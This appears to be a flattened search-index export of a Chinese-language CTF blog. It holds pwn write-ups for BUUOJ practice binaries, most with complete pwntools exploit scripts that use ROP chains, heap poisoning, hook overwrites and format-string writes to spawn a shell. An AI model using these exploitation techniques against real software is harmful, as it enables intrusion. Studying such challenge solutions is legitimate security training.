#4one=[0x45216,0x4526a,0xf02a4,0xf1147]one_gadget=base+one[3]edit(4,0x1b,b'a'*11+p64(one_gadget)+p64(realloc_hook+4))#gdb.attach(r)sleep(1)add(0x10)r.interactive()","categories":[],"tags":[]},{"title":"ciscn_2019_es_7","slug":"ciscn-2019-es-7","date":"2024-03-18T13:09:07.000Z","updated":"2024-11-29T15:54:26.177Z","comments":true,"path":"/posts/79adbc41/","link":"","permalink":"https://github.com/degial/posts/79adbc41/","excerpt":"","text":"初遇srop unix在系统发生signal时会间接调用sigreturn,ucontext,siginfo等会被压入栈中,这一段称为signal frame 要用srop,需满足几个条件 可以通过栈溢出控制栈的内容。 需要知道相应的地址。 “/bin/sh” Signal Frame syscall sigreturn 题目中已经给了我们gadgets的地址 首先可以打印出栈地址 其次返回地址写上了0x4004F1,打印完会再次返回func函数","categories":[],"tags":[]},{"title":"hitcon2014_stkof","slug":"hitcon2014-stkof","date":"2024-03-16T14:10:58.000Z","updated":"2024-11-29T15:54:26.185Z","comments":true,"path":"/posts/78860fdf/","link":"","permalink":"https://github.com/degial/posts/78860fdf/","excerpt":"","text":"偏移都没开,有个堆溢出漏洞,刚巧不久前做了一道堆溢出,但是做法对于这道题没什么用,没有show函数,没有偏移保护可以用unlink1234567891011121314add(0x30) #1add(0x30) #2add(0x80) #3add(0x30) #4bss=0x602140+0x10fd=bss-0x18bk=bss-0x10payload=p32(0)+p32(0x30)payload+=p64(fd)+p64(bk)payload+=p64(0)*2payload+=p64(0x30)+p64(0x90)edit(2,payload)","categories":[],"tags":[]},{"title":"inndy_rop","slug":"inndy-rop","date":"2024-03-14T11:42:22.000Z","updated":"2024-11-29T15:54:26.188Z","comments":true,"path":"/posts/19fdcc0c/","link":"","permalink":"https://github.com/degial/posts/19fdcc0c/","excerpt":"","text":"除了个gets函数啥也没有了 直接 ROPgadget —binary inndy_rop —ropchain 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import*from struct import packfrom LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)r=process(\"./inndy_rop\")context.log_level=\"debug\"p=b'a'*(0xc+4)p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80#gdb.attach(p)#sleep(1)r.sendline(p)r.interactive()","categories":[],"tags":[]},{"title":"level4","slug":"level4","date":"2024-03-14T06:50:21.000Z","updated":"2024-11-29T15:54:26.192Z","comments":true,"path":"/posts/7792b02a/","link":"","permalink":"https://github.com/degial/posts/7792b02a/","excerpt":"","text":"只开了NX保护,32位栈溢出。 12345elf = ELF(proc_name)write_plt = elf.plt['write']write_got = elf.got['write']main_addr = elf.sym['main']payload = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(0x1) + p32(write_got) + p32(0x4) 没调用write函数前 got表存的是寻址的地址跳转到write_got存的地址write_plt+6 总结起来就是,没调用write函数之前,write_got存的是write_plt+6这个地址,然后执行write_plt会去write_got里找write函数真正的地址,此时会执行write_plt+6这个地址寻址,找到write函数真正的地址后会把它存入write_got. exp123456789101112131415161718192021222324252627282930from pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './level4'p = process(proc_name)#p=remote('node5.buuoj.cn',29402) elf = ELF(proc_name)write_plt = elf.plt['write']write_got = elf.got['write']main_addr = elf.sym['main']payload = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(0x1) + p32(write_got) + p32(0x4)gdb.attach(p)sleep(1)p.send(payload)write_addr = u32(p.recv(4))print(hex(write_addr))#libc = LibcSearcher('write', write_addr)libc=ELF('./libc-2.23_32.so')libc_base = write_addr - libc.sym['write']system_addr = libc_base + libc.sym['system']str_bin_sh = libc_base + next(libc.search(b'bin/sh'))payload1 = b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)p.send(payload1)p.interactive()","categories":[],"tags":[]},{"title":"babyheap_0ctf_2017","slug":"babyheap-0ctf-2017","date":"2024-03-13T11:11:48.000Z","updated":"2024-11-29T15:54:26.168Z","comments":true,"path":"/posts/1a2f921f/","link":"","permalink":"https://github.com/degial/posts/1a2f921f/","excerpt":"","text":"保护全开 malloc,add都整得挺抽象的,但都大同小异。这道题还是挺有难度的有个填充的时候的size可以大于自己申请的,有个堆溢出漏洞。 尝试改下个堆的size,再释放,再malloc,会报错,这个方法不行。 改掉了bin指针 堆2是指向free_chunk的,填充堆2也就是在fast_bin的指针上写上malloc_hook上面的地址,溢出堆3也能改bin指针。这里的地址有一定的要求。 在malloc_hook-0x23的地址上,dword(malloc_hook-0x23+0x8)这个地址的值是0x7f,满足0x70大小的fastbin的大小,所以malloc_hook-0x23这个地址可以当作fake_addr,再填充0x13字节到malloc_hook,写上one_gadget. exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",26041)p=process(\"./babyheap_0ctf_2017\")context.log_level=\"debug\"context(arch='amd64',os='linux')libc=ELF('./libc-2.23.so')def add(size): p.sendlineafter('Command: ','1') p.sendlineafter('Size: ',str(size)) def full(index,size,content): p.sendlineafter('Command: ','2') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Size: ',str(size)) p.sendlineafter('Content: ',content)def free(index): p.sendlineafter('Command: ','3') p.sendlineafter('Index: ',str(index))def show(index): p.sendlineafter('Command: ','4') p.sendlineafter('Index:',str(index)) add(0x10) #0 add(0x10) #1add(0x10) #2add(0x10) #3add(0x80) #4free(1)free(2)payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x20)+p8(0x80)full(0,0x41,payload)payload=p64(0)*3+p64(0x21)full(3,0x20,payload)add(0x10) #1add(0x10) #2-->4payload=p64(0)*3+p64(0x91)full(3,0x20,payload)add(0x30) #防止合并free(4)show(2)p.recvuntil(\"Content:\")main_addr=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))-88print(hex(main_addr))base=main_addr-0x10-libc.sym['__malloc_hook']system=base+libc.sym['system']add(0x60) #4free(4)fake_addr=main_addr-0x10-0x23full(2,0x8,p64(fake_addr))'''orpayload=p64(0)*3+p64(0x71)+p64(fake_addr)full(3,0x28,payload)'''gdb.attach(p)sleep(1)add(0x60) #5add(0x60) #6one=[0x45216,0x4526a,0xf02a4,0xf1147]one_gadget=base+one[1]payload=b'a'*0x13+p64(one_gadget)full(6,0x1b,payload)add(0x10)p.interactive()","categories":[],"tags":[]},{"title":"SWPUCTF_2019_login","slug":"SWPUCTF-2019-login","date":"2024-03-12T12:48:45.000Z","updated":"2024-11-29T15:54:26.166Z","comments":true,"path":"/posts/61db3fed/","link":"","permalink":"https://github.com/degial/posts/61db3fed/","excerpt":"","text":"","categories":[],"tags":[]},{"title":"STKOF","slug":"stkof","date":"2024-03-11T12:53:15.000Z","updated":"2024-11-29T15:54:26.205Z","comments":true,"path":"/posts/696f0fbd/","link":"","permalink":"https://github.com/degial/posts/696f0fbd/","excerpt":"","text":"两道程序题,一道32位一道64位,都是栈溢出的题","categories":[],"tags":[]},{"title":"b00ks","slug":"b00ks","date":"2024-03-11T06:17:34.000Z","updated":"2024-11-29T15:54:26.166Z","comments":true,"path":"/posts/be955ceb/","link":"","permalink":"https://github.com/degial/posts/be955ceb/","excerpt":"","text":"甩到脸上的off-by-one 是一个图书管理系统 这里可以覆盖掉存堆地址的一个字节,可以实现改堆地址的操作 打印的时候会连堆地址也打印出来123456add(0x80,'cccccccc',0x60,'dddddddd')add(0x10,'eeeeeeee',0x10,'ffffffff')free(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20)) exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from pwn import*from LibcSearcher import *p=remote(\"node5.buuoj.cn\",25494)#p=process(\"./b00ks\")context.log_level=\"debug\"libc=ELF('./libc-2.23.so')elf=ELF('./b00ks')payload=b'k'*0x1f+b'b'p.sendlineafter('Enter author name: ',payload)def add(size1,content1,size2,content2): p.sendlineafter('> ','1') p.sendlineafter('Enter book name size:',str(size1)) p.sendlineafter('Enter book name (Max 32 chars):',content1) p.sendlineafter('Enter book description size:',str(size2)) p.sendlineafter('Enter book description:',content2)def edit(idd,content): p.sendlineafter('> ','3') p.sendlineafter('Enter the book id you want to edit: ',str(idd)) p.sendlineafter('Enter new book description: ',content)def show(): p.sendlineafter('> ','4') def free(idd): p.sendlineafter('> ','2') p.sendlineafter('Enter the book id you want to delete: ',str(idd))def ren(content): p.sendlineafter('> ','5') p.sendlineafter('Enter author name: ',content) add(0xd0,'aaaaaaaa',0x20,'bbbbbbb') #1show()p.recvuntil(\"kb\")heap_addr=u64(p.recv(6)[-6:].ljust(8,b'\\x00'))print('addr'+hex(heap_addr))add(0x80,'cccccccc',0x60,'dddddddd') #2 add(0x10,'bin/sh',0x10,'ffffffff') #3free(2)edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))ren('a'*0x20)show()p.recvuntil('Name: ')main_addr=u64(p.recvuntil('\\x7f').ljust(8,b'\\x00'))-88malloc_hook=main_addr-0x10base=malloc_hook-libc.sym['__malloc_hook']free_hook=base+libc.sym['__free_hook']system=base+libc.sym['system']print('main_addr'+hex(main_addr))edit(1,p64(free_hook)+p64(0x20))edit(3,p64(system))free(3)#gdb.attach(p)sleep(1)#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"freenote_x64","slug":"freenote-x64","date":"2024-03-10T12:50:45.000Z","updated":"2024-11-29T15:54:26.182Z","comments":true,"path":"/posts/231495d9/","link":"","permalink":"https://github.com/degial/posts/231495d9/","excerpt":"","text":"","categories":[],"tags":[]},{"title":"jiandan_pwn1","slug":"jiandan-pwn1","date":"2024-03-09T09:02:00.000Z","updated":"2024-11-29T15:54:26.190Z","comments":true,"path":"/posts/595198b9/","link":"","permalink":"https://github.com/degial/posts/595198b9/","excerpt":"","text":"一个字节一个字节输入,然后v4在rbp-4的位置,直接发送p32(0x10d),0d先放在左边(\\x61)的位置,然后把值放到rsp+0x10d的位置,后面的输入也不影响v4的值。 exp123456789101112131415161718192021222324252627from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",27841)p=process(\"./jiandan_pwn1\")context.log_level=\"debug\"puts_func=0x4007BFputs_plt=0x400590puts_got=0x601018pop_rdi=0x400843libc=ELF('./libc-2.23.so')gdb.attach(p,'b *0x400783')sleep(1)payload=b'a'*(0x110-4)+p32(0x10d)+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_func)p.sendlineafter('Hack 4 fun!',payload)puts_got=u64(p.recvuntil('\\x7f').strip().ljust(8,b'\\x00'))base=puts_got-libc.sym['puts']system=base+libc.sym['system']binsh=base+next(libc.search(b'bin/sh'))print('puts'+hex(puts_got))#payload=b'a'*(0x110-4)+p32(0x10d)+b'a'*8+p64(pop_rdi)+p64(binsh)+p64(system)p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"mergeheap","slug":"mergeheap","date":"2024-03-08T12:47:52.000Z","updated":"2024-11-29T15:54:26.193Z","comments":true,"path":"/posts/709727a2/","link":"","permalink":"https://github.com/degial/posts/709727a2/","excerpt":"","text":"保护全开,libc-2.27,malloc大小限制了0x400,有个合并堆的函数,可以合并大于0x400的,不过释放的时候总是和top_chunk合并。所以得用另一种方法泄露libc. 123456add(0x210,'aaaa')add(0x210,'cccc')add(0x10,'dddd')merge(0,1)free(3)free(2) 这种方法好像不行1234567891011for i in range(8): add(0x80,'cccc')for i in range(1,8): free(i)free(0)add(0x8,'cccccccc')show(0)p.recvuntil('cccccccc')main_addr=u64(p.recvuntil(b'\\x7f').ljust(8,b'\\x00')) 123456789add(0x60,'aaaa\\n') #1add(0x30,'a'*0x30) #2add(0x38,'a'*0x38) #3add(0x100,'a') #4add(0x68,'a') #5add(0x20,'a') #6add(0x20,'c') #7add(0x20,'f') #8add(0x20,'d') #9 123free(5)free(7)free(8) 1merge(2,3) 下一个堆的size位因为堆2,堆3的合并被改了,具体不太懂 1free(6) exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",25860)p=process(\"./mergeheap\")context.log_level=\"debug\"context(log_level='debug',os='linux',arch='amd64')libc=ELF('./libc-2.27.so')def add(size,content): p.sendlineafter('>>','1') p.sendlineafter('len:',str(size)) p.sendlineafter('content:',content)def show(index): p.sendlineafter('>>','2') p.sendlineafter('idx:',str(index)) def free(index): p.sendlineafter('>>','3') p.sendlineafter('idx:',str(index))def merge(index1,index2): p.sendlineafter('>>','4') p.sendlineafter('idx1:',str(index1)) p.sendlineafter('idx2:',str(index2)) for i in range(8): add(0x80,'cccc')for i in range(1,8): free(i)free(0)add(0x8,'cccccccc')show(0)p.recvuntil('cccccccc')main_addr=u64(p.recvuntil(b'\\x7f').ljust(8,b'\\x00'))print(hex(main_addr-0x80))main_arena=main_addr-96-0x80malloc=main_arena-0x10base=malloc-libc.sym['__malloc_hook']free_hook=base+libc.sym['__free_hook']one=[0x4f2c5,0x4f322,0x10a38c]one_gadget=base+one[1]add(0x60,'aaaa\\n') #1add(0x30,'a'*0x30) #2add(0x38,'a'*0x38) #3add(0x100,'a') #4add(0x68,'a') #5add(0x20,'a') #6add(0x20,'c') #7add(0x20,'f') #8add(0x20,'d') #9free(5)free(7)free(8)merge(2,3)free(6)payload=b'a'*0x28+p64(0x31)+p64(free_hook)+p64(0)add(0x100,payload)add(0x20,'aaaa')add(0x20,'cccc')add(0x20,p64(one_gadget))free(9)#gdb.attach(p)sleep(1)p.interactive()","categories":[],"tags":[]},{"title":"bbctf_2020_write","slug":"bbctf-2020-write","date":"2024-03-08T11:12:10.000Z","updated":"2024-11-29T15:54:26.174Z","comments":true,"path":"/posts/75171fcc/","link":"","permalink":"https://github.com/degial/posts/75171fcc/","excerpt":"","text":"可以泄露了puts_got,可以算偏移,程序可以改地址的内容,那么可以改exit_hook,exit函数会执行run_exit_handlers,然后这个函数会调用_dl_fini,然后这个_dl_fini的源码调用了 rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive,所以只需要向其中一个写入one_gadget就行了。为了以后方便,以后就这样算在libc-2.23中exit_hook = libc_base+0x5f0040+3848 exit_hook = libc_base+0x5f0040+3856 在libc-2.27中 exit_hook = libc_base+0x619060+3840 exit_hook = libc_base+0x619060+3848具体的exit_hook可以看这,然后用one_gadget.然后输入的话得用字符串格式exit_hook在pwn题中的应用](http://www.manongjc.com/detail/21-aktzmrsypltrrll.html)) 12345678910111213141516171819202122232425from pwn import*from LibcSearcher import *p=remote(\"node5.buuoj.cn\",29131)#p=process(\"./bbctf_2020_write\")context.log_level=\"debug\"libc=ELF('./libc-2.27.so')p.recvuntil('puts: ')puts_addr=int(p.recv(14),16)base=puts_addr-libc.sym['puts']print('put'+hex(puts_addr))p.sendline('w')exit_hook=base++0x619060+3848one=[0x4f2c5,0x4f322,0x10a38c]one_gadget=one[1]+basep.sendlineafter('ptr: ',str(exit_hook))p.sendlineafter('val: ',str(one_gadget))p.sendlineafter('(q)uit','q')#gdb.attach(p)#sleep(1)p.interactive()","categories":[],"tags":[]},{"title":"ciscn_2019_c_5","slug":"ciscn-2019-c-5","date":"2024-03-08T04:49:05.000Z","updated":"2024-11-29T15:54:26.175Z","comments":true,"path":"/posts/eeb50a42/","link":"","permalink":"https://github.com/degial/posts/eeb50a42/","excerpt":"","text":"保护全开 有格式化字符串漏洞但是用%n$p之类的会报错,用%p不会,算得偏移是8 123p.sendlineafter('name?','%p%p%p%p%p%p%p')p.recvuntil('59')io_stder=int(p.recv(14),16) 接收的话不是p.recvuntil(‘\\x59’),而是p.recvuntil(‘59’),这里我犯了个错误 这里对应第七个参数 exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *p=process('./ciscn_2019_c_5')#p=remote('node5.buuoj.cn',28941)elf=ELF('./ciscn_2019_c_5')libc=elf.libcdef add(size,story): p.sendlineafter(':','1') p.sendlineafter('story:',str(size)) p.sendlineafter('story:',story)def edit(): p.sendlineafter(':','2')def show(): p.sendlineafter(':','3')def free(idx): p.sendlineafter(':','4') p.sendlineafter('index:',str(idx))def debug(): gdb.attach(p) sleep(1)p.sendlineafter('name?','%p%p%p%p%p%p%p')p.recvuntil('59')debug()io_stder=int(p.recv(14),16)#.ljust(8,b'\\x00')p.sendlineafter('input your ID.','kkkk')base=io_stder-libc.sym['_IO_2_1_stderr_']system=base+libc.sym['system']print('io_st '+hex(io_stder)+'system '+hex(system))free_hook=base+libc.sym['__free_hook']add(0x60,'aaaa') #0add(0x60,'bbbb') #1add(0x60,'bin/sh\\n') #2free(0)free(1)free(0)add(0x60,p64(free_hook)) #3add(0x60,'aaaa') #4add(0x60,'dddd') #5add(0x60,p64(system))free(2)#p.interactive()","categories":[],"tags":[]},{"title":"starctf_2019_girlfriend","slug":"starctf-2019-girlfriend","date":"2024-03-06T13:48:39.000Z","updated":"2024-11-29T15:54:26.204Z","comments":true,"path":"/posts/2672e039/","link":"","permalink":"https://github.com/degial/posts/2672e039/","excerpt":"","text":"保护全开,本想以简单的uaf去解决,但是却会内存错误,所以这个方法不行 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./starctf_2019_girlfriend\")context.log_level=\"debug\"libc=ELF('./libc-2.23.so')def add(size,content1,content2): p.sendlineafter('Input your choice:','1') p.sendlineafter(\"girl's name\",str(size)) p.sendlineafter('please inpute her name:',content1) p.sendlineafter('please input her call:',content2)def show(index): p.sendlineafter('Input your choice:','2') p.sendlineafter('Please input the index:',str(index)) def free(index): p.sendlineafter('Input your choice:','4') p.sendlineafter('Please input the index:',str(index)) add(0x20,'aaaa','bbbb')add(0x80,'aaaa','bbbb')free(0)free(1)show(0)p.recvuntil('name:')main_arena=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))-88base=main_arena-0x10-libc.sym['__malloc_hook']system=base+libc.sym['system']free_hook=base+libc.sym['__free_hook']add(0x20,'dddd','eeee')add(0x20,'/bin/sh','cccc')print('main_arena'+hex(main_arena))free(2) #2free(3) #3free(2)gdb.attach(p)sleep(1)add(0x20,p64(free_hook-0x10),'dddd')add(0x20,'cccc','dddd')add(0x20,'eeee','vvvv')add(0x20,p64(system),'dddd')p.interactive() 首先malloc一个0x80大小的堆,再申请0x60大小的,后面改成比0x60小的堆时都会出现内存报错,free堆0的时候不会和topchunk合并,得到main_arena+8812345678910add(0x80,'aaaa','bbbb')add(0x60,'cccc','ssss')add(0x60,'dddd','eeee')free(0)show(0)p.recvuntil('name:')main_arena=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))print('main_arena'+hex(main_arena))malloc_hook=main_arena-88-0x10base=malloc_hook-libc.sym['__malloc_hook'] 1234567free(2)free(1)free(2)one = [0x45226, 0x4527a, 0xf03a4, 0xf1147]one_gadget=base+one[3]realloc=libc.sym['realloc']+base#这里的话得用到 realloc_hook=malloc_hook-0x81234567add(0x60,p64(malloc_hook-0x23),p64(malloc_hook-0x23))add(0x60,'cccc','dddd')add(0x60,'dddd','eeee')print('one_gadget='+hex(one_gadget)+' malloc='+hex(malloc_hook-0x23)+' realloc='+hex(realloc))payload=b'a'*(0x13-8)+p64(one_gadget)+p64(realloc+2)add(0x60,payload,'cccc') 使用one_gadget的条件 关于realloc函数调整函数栈帧的知识,关于为什么用realloc+2的地址链接文本) 调试发现除了malloc_hook-0x23的地址可以改其它的地址都会报错,多1少1都不行 exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import*from LibcSearcher import *#p=remote(\"node5.buuoj.cn\",25861)p=process(\"./starctf_2019_girlfriend\")context.log_level=\"debug\"libc=ELF('./libc-2.23.so')def debug(): gdb.attach(p) sleep(1)def add(size,content1,content2): p.sendlineafter('Input your choice:','1') p.sendlineafter(\"girl's name\",str(size)) p.sendlineafter('please inpute her name:',content1) p.sendlineafter('please input her call:',content2)def show(index): p.sendlineafter('Input your choice:','2') p.sendlineafter('Please input the index:',str(index)) def free(index): p.sendlineafter('Input your choice:','4') p.sendlineafter('Please input the index:',str(index)) #add(0x20,'aaaa','bbbb')add(0x80,'aaaa','bbbb')add(0x60,'cccc','ssss')add(0x60,'dddd','eeee')free(0)show(0)p.recvuntil('name:')main_arena=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))print('main_arena'+hex(main_arena))malloc_hook=main_arena-88-0x10base=malloc_hook-libc.sym['__malloc_hook']free(2)free(1)free(2)one = [0x45226, 0x4527a, 0xf03a4, 0xf1147]one_gadget=base+one[3]realloc=libc.sym['realloc']+baseadd(0x60,p64(malloc_hook-0x23),p64(malloc_hook-0x23))add(0x60,'cccc','dddd')add(0x60,'dddd','eeee')print('one_gadget='+hex(one_gadget)+' malloc-0x23='+hex(malloc_hook-0x23)+' realloc='+hex(realloc))payload=b'a'*(0x13-8)+p64(one_gadget)+p64(realloc+2)add(0x60,payload,'cccc')debug()p.sendafter('Input your choice:','1')p.interactive()","categories":[],"tags":[]},{"title":"ACTF_2019_message","slug":"ACTF-2019-message","date":"2024-03-05T11:24:11.000Z","updated":"2024-11-29T15:54:26.162Z","comments":true,"path":"/posts/f5d1b033/","link":"","permalink":"https://github.com/degial/posts/f5d1b033/","excerpt":"","text":"有uaf漏洞,但是打印的话会检查size,所以不能简单地uaf 123456add(0x200,'aaaa')add(0x200,'aaaa')free(0)free(0)add(0x200,p64(0x60204c))add(0x200,'aaaa') 成功控制堆指针 1234payload=p64(1)+p64(0)+b'\\x00'*4+p64(0x200)+p64(0x60204c)+p64(0)*20add(0x200,payload) 1234567for i in range(8): add(0x80,'aaaa')#8for i in range(1,7): free(i)free(8) add的大小是0x80,保证了满的时侯的那个bin放在unsorted bin,最后两个倒序释放,防止和top chunk合并1free(7) 堆7指针是main_arena+96 我试了这种方法也可以show出来,不过edit的时候不能sendline,不然会覆盖掉一个字节,导致show的地址出错 1234payload=p64(1)+p64(0)+b'\\x00'*4+p64(0x200)+p64(0x60204c)+p64(0)*12+p64(0x80)edit(0,payload)show(7) 这里因为用sendline所以出错了 或者用师傅的做法,不过我的更简单 123456edit(0,payload)for i in range(7): add(0x80,'aaaa')add(0x8,'aaaaaaa') #堆8,会在unsorted bin里拿show(8) 12345r.recvuntil('The message: aaaaaaa')main_arena=u64(r.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))-224 #这里减0x80再减96#libc2.23和2.27都是__malloc_hook=main_arena-0x10print('main_'+hex(main_arena))base=main_arena-0x10-libc.sym['__malloc_hook'] 12345payload=p64(1)+p64(0)+b'\\x00'*4+p64(0x200)+p64(0x60204c)+p64(0x80)+p64(binsh)+p64(0x80)+p64(free_hook)edit(0,payload)edit(2,p64(system)) 最后有个地方就是free(1)会报错,得分开或者手动 exp 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384from pwn import*from LibcSearcher import *#r=remote(\"node5.buuoj.cn\",29647)r=process(\"./ACTF_2019_message\")context.log_level=\"debug\"context(log_level='debug',arch='amd64',os='linux')libc=ELF('./libc-2.27.so')elf=ELF('./ACTF_2019_message')def choice(nu): r.sendlineafter('choice: ', str(nu))def add(size,content): choice(1) r.sendlineafter('length of message:\\n', str(size)) r.sendlineafter('input the message:\\n', content)def free(idx): choice(2) r.sendlineafter('you want to delete:\\n', str(idx))def edit(idx, content): choice(3) r.sendlineafter('you want to edit:\\n', str(idx)) r.sendlineafter('edit the message:\\n', content )def show(idx): choice(4) r.sendlineafter('want to display:\\n', str(idx))add(0x200,'aaaa') #0add(0x200,'aaaa') #1free(0)free(0)add(0x200,p64(0x60204c))add(0x200,'aaaa')payload=p64(1)+p64(0)+b'\\x00'*4+p64(0x200)+p64(0x60204c)+p64(0)*20add(0x200,payload) #0for i in range(8): add(0x80,'aaaa')#8for i in range(1,7): free(i)free(8) free(7)edit(0,payload)for i in range(7): add(0x80,'aaaa')add(0x10,'aaaaaaa')show(8)r.recvuntil('The message: aaaaaaa')main_arena=u64(r.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))-224print('main_'+hex(main_arena))base=main_arena-0x10-libc.sym['__malloc_hook']free_hook=base+libc.sym['__free_hook']system=base+libc.sym['system']binsh=base+ next(libc.search(b'/bin/sh'))print(hex(system))payload=p64(1)+p64(0)+b'\\x00'*4+p64(0x200)+p64(0x60204c)+p64(0x80)+p64(binsh)+p64(0x80)+p64(free_hook)edit(0,payload)edit(2,p64(system))#gdb.attach(r)#sleep(1)r.sendlineafter('choice: ','2')r.sendlineafter('you want to delete:\\n','1')# 有时候得手动free(1),不然打不通,很离谱#free(1)r.interactive()","categories":[],"tags":[]},{"title":"ACTF_2019_OneRepeater","slug":"ACTF-2019-OneRepeater","date":"2024-03-02T08:13:15.000Z","updated":"2024-11-29T15:54:26.160Z","comments":true,"path":"/posts/319d974/","link":"","permalink":"https://github.com/degial/posts/319d974/","excerpt":"","text":"有可读可写可执行段,是道格式化字符串题,用shellcode做 1输入,会打印变量的栈地址,2格式化,可多次格式化,返回地址得在原来的基础上加0x10,因为这里leave以后并没有立即ret,而是lea esp, [ecx-4],调试发现时是add esp, 0x10,所以ret_addr=0x408+0x10+4 exp 12345678910111213141516171819202122232425262728293031323334353637from pwn import*from LibcSearcher import *p=remote(\"node5.buuoj.cn\",29221)#p=process(\"./ACTF_2019_OneRepeater\")context.log_level=\"debug\"context(log_level='debug',arch='i386',os='linux')offset=16p.sendlineafter('Exit','1')p.recvline()addr = int(p.recv(8).strip(), 16)ret_addr=addr+0x418+4print('addr'+hex(addr))'''payload=p32(ret_addr)+b'%'+str(addr%65536-4).encode()+b'c'+b'%16$hn'p.sendline(payload)p.sendlineafter('3) Exit','2')p.sendlineafter('3) Exit','1')payload=p32(ret_addr+2)+b'%'+str(addr//65536-4).encode()+b'c'+b'%16$hn'p.sendline(payload)'''payload=p32(ret_addr)+p32(ret_addr+2)+b'%'+str(addr%65536-8).encode()+b'c'+b'%16$hn'+b'%'+str(addr//65536-addr%65536).encode()+b'c%17$hn'p.sendline(payload)p.sendlineafter('3) Exit','2')p.sendlineafter('3) Exit','1')#gdb.attach(p)sleep(1)p.sendline(asm(shellcraft.sh()))p.sendlineafter('3) Exit','3')p.interactive()","categories":[],"tags":[]},{"title":"checkin","slug":"checkin","date":"2024-02-29T06:36:05.000Z","updated":"2024-11-29T15:54:26.171Z","comments":true,"path":"/posts/e1631c91/","link":"","permalink":"https://github.com/degial/posts/e1631c91/","excerpt":"","text":"挺有意思的一道栈迁移 s1是全局变量,这里写rop泄露got表地址 为了再一次执行程序,rop后面接的不是puts_plt 而是调用puts函数的地址,既能泄露got表地址,又能再执行一次程序。 buf只能溢出到rbp,但是有两次leave,一个是sub_4018C7函数里的 上一个函数结束后到sub_401876函数里的,刚好能执行两次leave。 不过这里(unsigned int)sub_401974(buf)属实不太懂,太抽象了,也不知道它具体是怎么检查的两次的payload不太一样。payload112345payload1+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)p.sendafter('>',payload1)payload2=b'admin\\x00\\x00\\x00'+p64(0)*3+p64(bss)p.sendafter('Pass',payload2) payload212345payload1=b'admin\\x00\\x00\\x00'*3+p64(one_gadget)p.sendafter('>',payload1)payload2=b'admin\\x00\\x00\\x00'*4+p64(bss+0x10)p.sendafter('Pass',payload2) exp12345678910111213141516171819202122232425262728293031323334from pwn import*from LibcSearcher import 